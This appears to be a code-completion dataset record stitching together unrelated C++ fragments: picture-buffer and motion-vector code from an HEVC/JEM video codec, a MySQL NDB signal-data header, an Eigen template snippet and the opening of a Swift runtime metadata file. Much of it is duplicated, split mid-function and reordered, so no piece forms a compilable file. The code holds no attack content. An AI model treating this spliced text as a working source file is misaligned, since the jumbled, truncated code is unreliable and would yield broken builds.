i<NUM_PIC_YUV; i++) { if (m_apcPicYuv[i]) { m_apcPicYuv[i]->destroy(); delete m_apcPicYuv[i]; m_apcPicYuv[i] = NULL; } } #if VCEG_AZ08_INTER_KLT for (UInt uiRow = 0; uiRow < 4; uiRow++) { for (UInt uiCol = 0; uiCol < 4; uiCol++) { if (uiRow == 0 && uiCol == 0) { continue; } if (m_apcQuaPicYuv[uiRow][uiCol]) { m_apcQuaPicYuv[uiRow][uiCol]->destroy(); delete m_apcQuaPicYuv[uiRow][uiCol]; m_apcQuaPicYuv[uiRow][uiCol] = NULL; } } } #endif deleteSEIs(m_SEIs); } Void TComPic::compressMotion() { TComPicSym* pPicSym = getPicSym(); for ( UInt uiCUAddr = 0; uiCUAddr < pPicSym->getNumberOfCtusInFrame(); uiCUAddr++ ) { TComDataCU* pCtu = pPicSym->getCtu(uiCUAddr); pCtu->compressMV(); } } Bool TComPic::getSAOMergeAvailability(Int currAddr, Int mergeAddr) { Bool mergeCtbInSliceSeg = (mergeAddr >= getPicSym()->getCtuTsToRsAddrMap(getCtu(currAddr)->getSlice()->getSliceCurStartCtuTsAddr())); Bool mergeCtbInTile = (getPicSym()->getTileIdxMap(mergeAddr) == getPicSym()->getTileIdxMap(currAddr)); return (mergeCtbInSliceSeg && mergeCtbInTile); } UInt TComPic::getSubstreamForCtuAddr(const UInt ctuAddr, const Bool bAddressInRaster, TComSlice *pcSlice) { UInt subStrm; const bool bWPPEnabled=pcSlice->getPPS()->getEntropyCodingSyncEnabledFlag(); const TComPicSym &picSym = *(getPicSym()); if ((bWPPEnabled && picSym.getFrameHeightInCtus()>1) || (picSym.getNumTiles()>1)) { if (bWPPEnabled) { const UInt ctuRsAddr = bAddressInRaster?ctuAddr : picSym.getCtuTsToRsAddrMap(ctuAddr); const UInt frameWidthInCtus = picSym.getFrameWidthInCtus(); const UInt tileIndex = picSym.getTileIdxMap(ctuRsAddr); const UInt numTileColumns = (picSym.getNumTileColumnsMinus1()+1); const TComTile *pTile = picSym.getTComTile(tileIndex); const UInt firstCtuRsAddrOfTile = pTile->getFirstCtuRsAddr(); const UInt tileYInCtus = firstCtuRsAddrOfTile / frameWidthInCtus; const UInt ctuLine = ctuRsAddr / frameWidthInCtus; const UInt startingSubstreamForTile =(tileYInCtus*numTileColumns) + (pTile->getTileHeightInCtus()*(tileIndex%numTileColumns)); subStrm = startingSubstreamForTile + (ctuLine - tileYInCtus); } else { const UInt ctuRsAddr = bAddressInRaster?ctuAddr : picSym.getCtuTsToRsAddrMap(ctuAddr); const UInt tileIndex = picSym.getTileIdxMap(ctuRsAddr); subStrm=tileIndex; } } else { subStrm = 0; } return subStrm; } #if COM16_C806_VCEG_AZ10_SUB_PU_TMVP Void TComPic::getCUAddrAndPartIdx( Int iX, Int iY, Int& riCuAddr, Int& riAbsZorderIdx ) { #if JVET_C0024_QTBT Int iMaxCUWidth = (Int) ( getPicSym()->getSPS().getCTUSize() ); Int iMaxCuHeight = (Int) ( getPicSym()->getSPS().getCTUSize() ); #else Int iMaxCUWidth = (Int) ( getPicSym()->getSPS().getMaxCUWidth() ); Int iMaxCuHeight = (Int) ( getPicSym()->getSPS().getMaxCUHeight() ); #endif Int iCuX = iX / iMaxCUWidth; Int iCuY = iY / iMaxCuHeight; Int iBaseX = ( iX - iCuX * iMaxCUWidth ) / m_iBaseUnitWidth; Int iBaseY = ( iY - iCuY * iMaxCuHeight ) / m_iBaseUnitHeight; Int iCuSizeInBases = iMaxCUWidth / m_iBaseUnitWidth; riCuAddr = iCuY * m_iNumCuInWidth + iCuX; Int iRastPartIdx = iBaseY * iCuSizeInBases + iBaseX; riAbsZorderIdx = romScan->auiRasterToZscan[ iRastPartIdx ]; } #endif #if JVET_D0033_ADAPTIVE_CLIPPING namespace { Bound computeBoundsComp(const Pel *p,Int height,Int width,Int stride) { Bound b; b.m=b.M=*p; for (int i = 0; i < height; i++) for (int j = 0; j < width; j++) { const int x=p[i*stride + j]; if (x> b.M) b.M = x; if (x< b.m) b.m = x; } return b; } int count(const Pel *p,Int height,Int width,Int stride,Int m,Int M) { Int s=0; for (int i = 0; i < height; i++) for (int j = 0; j < width; j++) { const int x=p[i*stride + j]; if (x>=m&&x<=M) ++s; } return s; } } ClipParam TComPic::computeTchClipParam(Int &delta_disto_luma,Int &delta_disto_chroma) const { ClipParam prm; prm.isActive=true; prm.isChromaActive=true; delta_disto_luma=delta_disto_chroma=0; const TComPicYuv &picorg = *m_apcPicYuv[PIC_YUV_ORG]; const Pel *pY = picorg.getAddr(COMPONENT_Y); Int strideY = picorg.getStride(COMPONENT_Y); Int widthY = picorg.getWidth(COMPONENT_Y); Int heightY = picorg.getHeight(COMPONENT_Y); Bound Y=computeBoundsComp(pY,heightY,widthY,strideY); prm.Y().m = Y.m; prm.Y().M = Y.M; const int kMargin=8; { if (Y.m>0) delta_disto_luma+=count(pY,heightY,widthY,strideY,Y.m ,Y.m+kMargin); if (Y.M<(1<<ClipParam::ibdLuma)-1) delta_disto_luma+=count(pY,heightY,widthY,strideY,Y.M-kMargin,Y.M ); } const Pel *pCb = picorg.getAddr(COMPONENT_Cb); Int strideC = picorg.getStride(COMPONENT_Cb); Int widthC = picorg.getWidth(COMPONENT_Cb); Int heightC = picorg.getHeight(COMPONENT_Cb); Bound U=computeBoundsComp(pCb,heightC,widthC,strideC); const Pel *pCr = picorg.getAddr(COMPONENT_Cr); Bound V=computeBoundsComp(pCr,heightC,widthC,strideC); { if (U.m>0) delta_disto_chroma+=count(pCb,heightC,widthC,strideC,U.m ,U.m+kMargin); if (U.M<(1<<ClipParam::ibdChroma)-1) delta_disto_chroma+=count(pCb,heightC,widthC,strideC,U.M-kMargin,U.M ); if (V.m>0) delta_disto_chroma+=count(pCr,heightC,widthC,strideC,V.m ,V.m+kMargin); if (V.M<(1<<ClipParam::ibdChroma)-1) delta_disto_chroma+=count(pCr,heightC,widthC,strideC,V.M-kMargin,V.M ); } prm.U()=U; prm.V()=V; return prm; } #endif #if JVET_C0024_QTBT Void TComPic::setCodedBlkInCTU(Bool bCoded, UInt uiBlkX, UInt uiBlkY, UInt uiWidth, UInt uiHeight) { assert(sizeof(**m_bCodedBlkInCTU)==1); for (UInt i=uiBlkY; i<uiBlkY+uiHeight; i++) { memset(&m_bCodedBlkInCTU[i][uiBlkX], bCoded, uiWidth); } } Int TComPic::getCodedAreaInCTU() { return m_iCodedArea; } Void TComPic::setCodedAreaInCTU(Int iArea) { m_iCodedArea = iArea; } Void TComPic::addCodedAreaInCTU(Int iArea) { m_iCodedArea += iArea; assert(m_iCodedArea>=0); } Void TComPic::setSkiped(UInt uiZorder, UInt uiWidth, UInt uiHeight, Bool bSkiped) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; m_bSkiped[uiZorder][uiWIdx][uiHIdx] = bSkiped; } Bool TComPic::getSkiped(UInt uiZorder, UInt uiWidth, UInt uiHeight) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; return m_bSkiped[uiZorder][uiWIdx][uiHIdx]; } Void TComPic::clearAllSkiped() { memset(m_bSkiped, 0, (1<<((MAX_CU_DEPTH-MIN_CU_LOG2)<<1))*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*sizeof(Bool)); } Void TComPic::setInter(UInt uiZorder, UInt uiWidth, UInt uiHeight, Bool bInter) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; m_bInter[uiZorder][uiWIdx][uiHIdx] = bInter; } Bool TComPic::getInter(UInt uiZorder, UInt uiWidth, UInt uiHeight) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; return m_bInter[uiZorder][uiWIdx][uiHIdx]; } Void TComPic::clearAllInter() { memset(m_bInter, 0, (1<<((MAX_CU_DEPTH-MIN_CU_LOG2)<<1))*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*sizeof(Bool)); } Void TComPic::setIntra(UInt uiZorder, UInt uiWidth, UInt uiHeight, Bool bIntra) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; m_bIntra[uiZorder][uiWIdx][uiHIdx] = bIntra; } Bool TComPic::getIntra(UInt uiZorder, UInt uiWidth, UInt uiHeight) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; return m_bIntra[uiZorder][uiWIdx][uiHIdx]; } Void TComPic::clearAllIntra() { memset(m_bIntra, 0, (1<<((MAX_CU_DEPTH-MIN_CU_LOG2)<<1))*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*sizeof(Bool)); } Void TComPic::setIntMv(UInt uiZorder, UInt uiWidth, UInt uiHeight, RefPicList eRefList, UInt uiRefIdx, TComMv cMv) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; m_cIntMv[uiZorder][uiWIdx][uiHIdx][(UInt)eRefList][uiRefIdx] = cMv; m_bSetIntMv[uiZorder][uiWIdx][uiHIdx][(UInt)eRefList][uiRefIdx] = true; } TComMv TComPic::getIntMv(UInt uiZorder, UInt uiWidth, UInt uiHeight, RefPicList eRefList, UInt uiRefIdx) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; return m_cIntMv[uiZorder][uiWIdx][uiHIdx][(UInt)eRefList][uiRefIdx]; } Bool TComPic::IsSetIntMv(UInt uiZorder, UInt uiWidth, UInt uiHeight, RefPicList eRefList, UInt uiRefIdx) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; return m_bSetIntMv[uiZorder][uiWIdx][uiHIdx][(UInt)eRefList][uiRefIdx]; } Void TComPic::clearAllIntMv() { memset(m_bSetIntMv, 0, (1<<((MAX_CU_DEPTH-MIN_CU_LOG2)<<1))*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*2*5*sizeof(Bool)); } #endif
#include "TComPic.h" #include "SEI.h" TComPic::TComPic() : m_uiTLayer (0) , m_bUsedByCurr (false) , m_bIsLongTerm (false) , m_pcPicYuvPred (NULL) , m_pcPicYuvResi (NULL) , m_bReconstructed (false) , m_bNeededForOutput (false) , m_uiCurrSliceIdx (0) , m_bCheckLTMSB (false) { for(UInt i=0; i<NUM_PIC_YUV; i++) { m_apcPicYuv[i] = NULL; } #if VCEG_AZ08_INTER_KLT m_apcQuaPicYuv[0][0] = NULL; m_apcQuaPicYuv[0][1] = NULL; m_apcQuaPicYuv[0][2] = NULL; m_apcQuaPicYuv[0][3] = NULL; m_apcQuaPicYuv[1][0] = NULL; m_apcQuaPicYuv[1][1] = NULL; m_apcQuaPicYuv[1][2] = NULL; m_apcQuaPicYuv[1][3] = NULL; m_apcQuaPicYuv[2][0] = NULL; m_apcQuaPicYuv[2][1] = NULL; m_apcQuaPicYuv[2][2] = NULL; m_apcQuaPicYuv[2][3] = NULL; m_apcQuaPicYuv[3][0] = NULL; m_apcQuaPicYuv[3][1] = NULL; m_apcQuaPicYuv[3][2] = NULL; m_apcQuaPicYuv[3][3] = NULL; #endif } TComPic::~TComPic() { } Void TComPic::create( const TComSPS &sps, const TComPPS &pps, const Bool bIsVirtual, TComRomScan *scan) { const ChromaFormat chromaFormatIDC = sps.getChromaFormatIdc(); const Int iWidth = sps.getPicWidthInLumaSamples(); const Int iHeight = sps.getPicHeightInLumaSamples(); #if JVET_C0024_QTBT const UInt uiMaxCuWidth = sps.getCTUSize(); const UInt uiMaxCuHeight = sps.getCTUSize(); #else const UInt uiMaxCuWidth = sps.getMaxCUWidth(); const UInt uiMaxCuHeight = sps.getMaxCUHeight(); #endif const UInt uiMaxDepth = sps.getMaxTotalCUDepth(); #if COM16_C806_VCEG_AZ10_SUB_PU_TMVP m_iNumCuInWidth = iWidth / uiMaxCuWidth; m_iNumCuInWidth += ( iWidth % uiMaxCuWidth ) ? 1 : 0; m_iBaseUnitWidth = uiMaxCuWidth >> uiMaxDepth; m_iBaseUnitHeight = uiMaxCuHeight >> uiMaxDepth; #endif romScan = scan; m_picSym.create( sps, pps, uiMaxDepth, romScan ); if (!bIsVirtual) { m_apcPicYuv[PIC_YUV_ORG ] = new TComPicYuv; m_apcPicYuv[PIC_YUV_ORG ]->create( iWidth, iHeight, chromaFormatIDC, uiMaxCuWidth, uiMaxCuHeight, uiMaxDepth, true, romScan ); m_apcPicYuv[PIC_YUV_TRUE_ORG] = new TComPicYuv; m_apcPicYuv[PIC_YUV_TRUE_ORG]->create( iWidth, iHeight, chromaFormatIDC, uiMaxCuWidth, uiMaxCuHeight, uiMaxDepth, true, romScan ); } m_apcPicYuv[PIC_YUV_REC] = new TComPicYuv; m_apcPicYuv[PIC_YUV_REC]->create( iWidth, iHeight, chromaFormatIDC, uiMaxCuWidth, uiMaxCuHeight, uiMaxDepth, true, romScan ); #if VCEG_AZ08_INTER_KLT #if VCEG_AZ08_USE_KLT if (sps.getUseInterKLT()) { #endif for (UInt uiRow = 0; uiRow < 4; uiRow++) { for (UInt uiCol = 0; uiCol < 4; uiCol++) { if (uiRow == 0 && uiCol == 0) { m_apcQuaPicYuv[uiRow][uiCol] = m_apcPicYuv[PIC_YUV_REC]; } else { m_apcQuaPicYuv[uiRow][uiCol] = new TComPicYuv; m_apcQuaPicYuv[uiRow][uiCol]->create(iWidth, iHeight, chromaFormatIDC, uiMaxCuWidth, uiMaxCuHeight, uiMaxDepth, true, romScan); } } } #if VCEG_AZ08_USE_KLT } #endif #endif if (m_SEIs.size() > 0) { deleteSEIs (m_SEIs); } m_bUsedByCurr = false; } Void TComPic::destroy() { m_picSym.destroy(); for(UInt i=0; i<NUM_PIC_YUV; i++) { if (m_apcPicYuv[i]) { m_apcPicYuv[i]->destroy(); delete m_apcPicYuv[i]; m_apcPicYuv[i] = NULL; } } #if VCEG_AZ08_INTER_KLT for (UInt uiRow = 0; uiRow < 4; uiRow++) { for (UInt uiCol = 0; uiCol < 4; uiCol++) { if (uiRow == 0 && uiCol == 0) { continue; } if (m_apcQuaPicYuv[uiRow][uiCol]) { m_apcQuaPicYuv[uiRow][uiCol]->destroy(); delete m_apcQuaPicYuv[uiRow][uiCol]; m_apcQuaPicYuv[uiRow][uiCol] = NULL; } } } #endif deleteSEIs(m_SEIs); } Void TComPic::compressMotion() { TComPicSym* pPicSym = getPicSym(); for ( UInt uiCUAddr = 0; uiCUAddr < pPicSym->getNumberOfCtusInFrame(); uiCUAddr++ ) { TComDataCU* pCtu = pPicSym->getCtu(uiCUAddr); pCtu->compressMV(); } } Bool TComPic::getSAOMergeAvailability(Int currAddr, Int mergeAddr) { Bool mergeCtbInSliceSeg = (mergeAddr >= getPicSym()->getCtuTsToRsAddrMap(getCtu(currAddr)->getSlice()->getSliceCurStartCtuTsAddr())); Bool mergeCtbInTile = (getPicSym()->getTileIdxMap(mergeAddr) == getPicSym()->getTileIdxMap(currAddr)); return (mergeCtbInSliceSeg && mergeCtbInTile); } UInt TComPic::getSubstreamForCtuAddr(const UInt ctuAddr, const Bool bAddressInRaster, TComSlice *pcSlice) { UInt subStrm; const bool bWPPEnabled=pcSlice->getPPS()->getEntropyCodingSyncEnabledFlag(); const TComPicSym &picSym = *(getPicSym()); if ((bWPPEnabled && picSym.getFrameHeightInCtus()>1) || (picSym.getNumTiles()>1)) { if (bWPPEnabled) { const UInt ctuRsAddr = bAddressInRaster?ctuAddr : picSym.getCtuTsToRsAddrMap(ctuAddr); const UInt frameWidthInCtus = picSym.getFrameWidthInCtus(); const UInt tileIndex = picSym.getTileIdxMap(ctuRsAddr); const UInt numTileColumns = (picSym.getNumTileColumnsMinus1()+1); const TComTile *pTile = picSym.getTComTile(tileIndex); const UInt firstCtuRsAddrOfTile = pTile->getFirstCtuRsAddr(); const UInt tileYInCtus = firstCtuRsAddrOfTile / frameWidthInCtus; const UInt ctuLine = ctuRsAddr / frameWidthInCtus; const UInt startingSubstreamForTile =(tileYInCtus*numTileColumns) + (pTile->getTileHeightInCtus()*(tileIndex%numTileColumns)); subStrm = startingSubstreamForTile + (ctuLine - tileYInCtus); } else { const UInt ctuRsAddr = bAddressInRaster?ctuAddr : picSym.getCtuTsToRsAddrMap(ctuAddr); const UInt tileIndex = picSym.getTileIdxMap(ctuRsAddr); subStrm=tileIndex; } } else { subStrm = 0; } return subStrm; } #if COM16_C806_VCEG_AZ10_SUB_PU_TMVP Void TComPic::getCUAddrAndPartIdx( Int iX, Int iY, Int& riCuAddr, Int& riAbsZorderIdx ) { #if JVET_C0024_QTBT Int iMaxCUWidth = (Int) ( getPicSym()->getSPS().getCTUSize() ); Int iMaxCuHeight = (Int) ( getPicSym()->getSPS().getCTUSize() ); #else Int iMaxCUWidth = (Int) ( getPicSym()->getSPS().getMaxCUWidth() ); Int iMaxCuHeight = (Int) ( getPicSym()->getSPS().getMaxCUHeight() ); #endif Int iCuX = iX / iMaxCUWidth; Int iCuY = iY / iMaxCuHeight; Int iBaseX = ( iX - iCuX * iMaxCUWidth ) / m_iBaseUnitWidth; Int iBaseY = ( iY - iCuY * iMaxCuHeight ) / m_iBaseUnitHeight; Int iCuSizeInBases = iMaxCUWidth / m_iBaseUnitWidth; riCuAddr = iCuY * m_iNumCuInWidth + iCuX; Int iRastPartIdx = iBaseY * iCuSizeInBases + iBaseX; riAbsZorderIdx = romScan->auiRasterToZscan[ iRastPartIdx ]; } #endif #if JVET_D0033_ADAPTIVE_CLIPPING namespace { Bound computeBoundsComp(const Pel *p,Int height,Int width,Int stride) { Bound b; b.m=b.M=*p; for (int i = 0; i < height; i++) for (int j = 0; j < width; j++) { const int x=p[i*stride + j]; if (x> b.M) b.M = x; if (x< b.m) b.m = x; } return b; } int count(const Pel *p,Int height,Int width,Int stride,Int m,Int M) { Int s=0; for (int i = 0; i < height; i++) for (int
} ClipParam TComPic::computeTchClipParam(Int &delta_disto_luma,Int &delta_disto_chroma) const { ClipParam prm; prm.isActive=true; prm.isChromaActive=true; delta_disto_luma=delta_disto_chroma=0; const TComPicYuv &picorg = *m_apcPicYuv[PIC_YUV_ORG]; const Pel *pY = picorg.getAddr(COMPONENT_Y); Int strideY = picorg.getStride(COMPONENT_Y); Int widthY = picorg.getWidth(COMPONENT_Y); Int heightY = picorg.getHeight(COMPONENT_Y); Bound Y=computeBoundsComp(pY,heightY,widthY,strideY); prm.Y().m = Y.m; prm.Y().M = Y.M; const int kMargin=8; { if (Y.m>0) delta_disto_luma+=count(pY,heightY,widthY,strideY,Y.m ,Y.m+kMargin); if (Y.M<(1<<ClipParam::ibdLuma)-1) delta_disto_luma+=count(pY,heightY,widthY,strideY,Y.M-kMargin,Y.M ); } const Pel *pCb = picorg.getAddr(COMPONENT_Cb); Int strideC = picorg.getStride(COMPONENT_Cb); Int widthC = picorg.getWidth(COMPONENT_Cb); Int heightC = picorg.getHeight(COMPONENT_Cb); Bound U=computeBoundsComp(pCb,heightC,widthC,strideC); const Pel *pCr = picorg.getAddr(COMPONENT_Cr); Bound V=computeBoundsComp(pCr,heightC,widthC,strideC); { if (U.m>0) delta_disto_chroma+=count(pCb,heightC,widthC,strideC,U.m ,U.m+kMargin); if (U.M<(1<<ClipParam::ibdChroma)-1) delta_disto_chroma+=count(pCb,heightC,widthC,strideC,U.M-kMargin,U.M ); if (V.m>0) delta_disto_chroma+=count(pCr,heightC,widthC,strideC,V.m ,V.m+kMargin); if (V.M<(1<<ClipParam::ibdChroma)-1) delta_disto_chroma+=count(pCr,heightC,widthC,strideC,V.M-kMargin,V.M ); } prm.U()=U; prm.V()=V; return prm; } #endif #if JVET_C0024_QTBT Void TComPic::setCodedBlkInCTU(Bool bCoded, UInt uiBlkX, UInt uiBlkY, UInt uiWidth, UInt uiHeight) { assert(sizeof(**m_bCodedBlkInCTU)==1); for (UInt i=uiBlkY; i<uiBlkY+uiHeight; i++) { memset(&m_bCodedBlkInCTU[i][uiBlkX], bCoded, uiWidth); } } Int TComPic::getCodedAreaInCTU() { return m_iCodedArea; } Void TComPic::setCodedAreaInCTU(Int iArea) { m_iCodedArea = iArea; } Void TComPic::addCodedAreaInCTU(Int iArea) { m_iCodedArea += iArea; assert(m_iCodedArea>=0); } Void TComPic::setSkiped(UInt uiZorder, UInt uiWidth, UInt uiHeight, Bool bSkiped) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; m_bSkiped[uiZorder][uiWIdx][uiHIdx] = bSkiped; } Bool TComPic::getSkiped(UInt uiZorder, UInt uiWidth, UInt uiHeight) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; return m_bSkiped[uiZorder][uiWIdx][uiHIdx]; } Void TComPic::clearAllSkiped() { memset(m_bSkiped, 0, (1<<((MAX_CU_DEPTH-MIN_CU_LOG2)<<1))*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*sizeof(Bool)); } Void TComPic::setInter(UInt uiZorder, UInt uiWidth, UInt uiHeight, Bool bInter) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; m_bInter[uiZorder][uiWIdx][uiHIdx] = bInter; } Bool TComPic::getInter(UInt uiZorder, UInt uiWidth, UInt uiHeight) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; return m_bInter[uiZorder][uiWIdx][uiHIdx]; } Void TComPic::clearAllInter() { memset(m_bInter, 0, (1<<((MAX_CU_DEPTH-MIN_CU_LOG2)<<1))*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*sizeof(Bool)); } Void TComPic::setIntra(UInt uiZorder, UInt uiWidth, UInt uiHeight, Bool bIntra) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; m_bIntra[uiZorder][uiWIdx][uiHIdx] = bIntra; } Bool TComPic::getIntra(UInt uiZorder, UInt uiWidth, UInt uiHeight) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; return m_bIntra[uiZorder][uiWIdx][uiHIdx]; } Void TComPic::clearAllIntra() { memset(m_bIntra, 0, (1<<((MAX_CU_DEPTH-MIN_CU_LOG2)<<1))*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*sizeof(Bool)); } Void TComPic::setIntMv(UInt uiZorder, UInt uiWidth, UInt uiHeight, RefPicList eRefList, UInt uiRefIdx, TComMv cMv) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; m_cIntMv[uiZorder][uiWIdx][uiHIdx][(UInt)eRefList][uiRefIdx] = cMv; m_bSetIntMv[uiZorder][uiWIdx][uiHIdx][(UInt)eRefList][uiRefIdx] = true; } TComMv TComPic::getIntMv(UInt uiZorder, UInt uiWidth, UInt uiHeight, RefPicList eRefList, UInt uiRefIdx) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; return m_cIntMv[uiZorder][uiWIdx][uiHIdx][(UInt)eRefList][uiRefIdx]; } Bool TComPic::IsSetIntMv(UInt uiZorder, UInt uiWidth, UInt uiHeight, RefPicList eRefList, UInt uiRefIdx) { UInt uiWIdx = g_aucConvertToBit[uiWidth]; UInt uiHIdx = g_aucConvertToBit[uiHeight]; return m_bSetIntMv[uiZorder][uiWIdx][uiHIdx][(UInt)eRefList][uiRefIdx]; } Void TComPic::clearAllIntMv() { memset(m_bSetIntMv, 0, (1<<((MAX_CU_DEPTH-MIN_CU_LOG2)<<1))*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*(MAX_CU_DEPTH-MIN_CU_LOG2+1)*2*5*sizeof(Bool)); } #endif
j = 0; j < width; j++) { const int x=p[i*stride + j]; if (x>=m&&x<=M) ++s; } return s; }
function_block-function_prefixed
[ { "content": "class meta_sqrt<Y, InfX, SupX, true> { public: enum { ret = (SupX*SupX <= Y) ? SupX : InfX }; };\n\n\n\n/** \\internal determines whether the product of two numeric types is allowed and what the return type is */\n\ntemplate<typename T, typename U> struct scalar_product_traits\n\n{\n\n enum { De...
C++
Mysql/storage/ndb/include/kernel/signaldata/DihScanTab.hpp
clockzhong/WrapLAMP
fa7ad07da3f1759e74966a554befa47bbbbb8dd5
#ifndef DIH_SCAN_TAB_HPP #define DIH_SCAN_TAB_HPP #include "SignalData.hpp" #define JAM_FILE_ID 108 struct DihScanTabReq { STATIC_CONST( SignalLength = 4 ); STATIC_CONST( RetryInterval = 5 ); Uint32 tableId; Uint32 senderData; Uint32 senderRef; Uint32 schemaTransId; }; struct DihScanTabConf { STATIC_CONST( SignalLength = 6 ); STATIC_CONST( InvalidCookie = RNIL ); Uint32 tableId; Uint32 senderData; Uint32 fragmentCount; Uint32 noOfBackups; Uint32 scanCookie; Uint32 reorgFlag; }; struct DihScanGetNodesReq { STATIC_CONST( FixedSignalLength = 4 ); STATIC_CONST( MAX_DIH_FRAG_REQS = 64); Uint32 tableId; Uint32 senderRef; Uint32 scanCookie; Uint32 fragCnt; struct FragItem { STATIC_CONST( Length = 2 ); Uint32 senderData; Uint32 fragId; }; FragItem fragItem[1]; }; struct DihScanGetNodesConf { STATIC_CONST( FixedSignalLength = 2 ); Uint32 tableId; Uint32 fragCnt; struct FragItem { STATIC_CONST( Length = 8 ); Uint32 senderData; Uint32 fragId; Uint32 instanceKey; Uint32 count; Uint32 nodes[4]; }; FragItem fragItem[1]; }; struct DihScanGetNodesRef { STATIC_CONST( FixedSignalLength = 3 ); Uint32 tableId; Uint32 fragCnt; Uint32 errCode; typedef DihScanGetNodesReq::FragItem FragItem; FragItem fragItem[1]; }; struct DihScanTabRef { enum ErrorCode { ErroneousState = 0, ErroneousTableState = 1 }; STATIC_CONST( SignalLength = 5 ); Uint32 tableId; Uint32 senderData; Uint32 error; Uint32 tableStatus; Uint32 schemaTransId; }; struct DihScanTabCompleteRep { STATIC_CONST( SignalLength = 2 ); Uint32 tableId; Uint32 scanCookie; }; #undef JAM_FILE_ID #endif
#ifndef DIH_SCAN_TAB_HPP #define DIH_SCAN_TAB_HPP #include "SignalData.hpp" #define JAM_FILE_ID 108 struct DihScanTabReq { STATIC_CONST( SignalLength = 4 ); STATIC_CONST( RetryInterval = 5 ); Uint32 tableId; Uint32 senderData; Uint32 senderRef; Uint32 schemaTransId;
typedef DihScanGetNodesReq::FragItem FragItem; FragItem fragItem[1]; }; struct DihScanTabRef { enum ErrorCode { ErroneousState = 0, ErroneousTableState = 1 }; STATIC_CONST( SignalLength = 5 ); Uint32 tableId; Uint32 senderData; Uint32 error; Uint32 tableStatus; Uint32 schemaTransId; }; struct DihScanTabCompleteRep { STATIC_CONST( SignalLength = 2 ); Uint32 tableId; Uint32 scanCookie; }; #undef JAM_FILE_ID #endif
}; struct DihScanTabConf { STATIC_CONST( SignalLength = 6 ); STATIC_CONST( InvalidCookie = RNIL ); Uint32 tableId; Uint32 senderData; Uint32 fragmentCount; Uint32 noOfBackups; Uint32 scanCookie; Uint32 reorgFlag; }; struct DihScanGetNodesReq { STATIC_CONST( FixedSignalLength = 4 ); STATIC_CONST( MAX_DIH_FRAG_REQS = 64); Uint32 tableId; Uint32 senderRef; Uint32 scanCookie; Uint32 fragCnt; struct FragItem { STATIC_CONST( Length = 2 ); Uint32 senderData; Uint32 fragId; }; FragItem fragItem[1]; }; struct DihScanGetNodesConf { STATIC_CONST( FixedSignalLength = 2 ); Uint32 tableId; Uint32 fragCnt; struct FragItem { STATIC_CONST( Length = 8 ); Uint32 senderData; Uint32 fragId; Uint32 instanceKey; Uint32 count; Uint32 nodes[4]; }; FragItem fragItem[1]; }; struct DihScanGetNodesRef { STATIC_CONST( FixedSignalLength = 3 ); Uint32 tableId; Uint32 fragCnt; Uint32 errCode;
random
[]
C++
stdlib/public/runtime/KnownMetadata.cpp
Fidetro/swift
da1e158a378ba46a3a88d05d789aef5dfa0bd6cc
#include "swift/Runtime/Metadata.h" #include "swift/Runtime/HeapObject.h" #include "swift/Runtime/Numeric.h" #include "MetadataImpl.h" #include "Private.h" #include <cstring> #include <climits> using namespace swift; using namespace metadataimpl; OpaqueValue *swift::swift_copyPOD(OpaqueValue *dest, OpaqueValue *src, const Metadata *type) { return (OpaqueValue*) memcpy(dest, src, type->getValueWitnesses()->size); } namespace { struct alignas(16) int128_like { char data[16]; }; static_assert(MaximumAlignment == 16, "max alignment was hardcoded"); struct alignas(16) int256_like { char data[32]; }; struct alignas(16) int512_like { char data[64]; }; struct alignas(16) float80_like { char data[10]; }; } namespace ctypes { namespace { using Bi1_ = uint8_t; using Bi8_ = uint8_t; using Bi16_ = uint16_t; using Bi32_ = uint32_t; using Bi63_ = uint64_t; using Bi64_ = uint64_t; using Bi128_ = int128_like; using Bi256_ = int256_like; using Bi512_ = int512_like; using Bw = intptr_t; using BL_ = IntegerLiteral; using Bf16_ = uint16_t; using Bf32_ = float; using Bf64_ = double; using Bf80_ = float80_like; using Bf128_ = int128_like; using BB = ValueBuffer; } } namespace pointer_types { namespace { using Bo = SwiftRetainableBox; 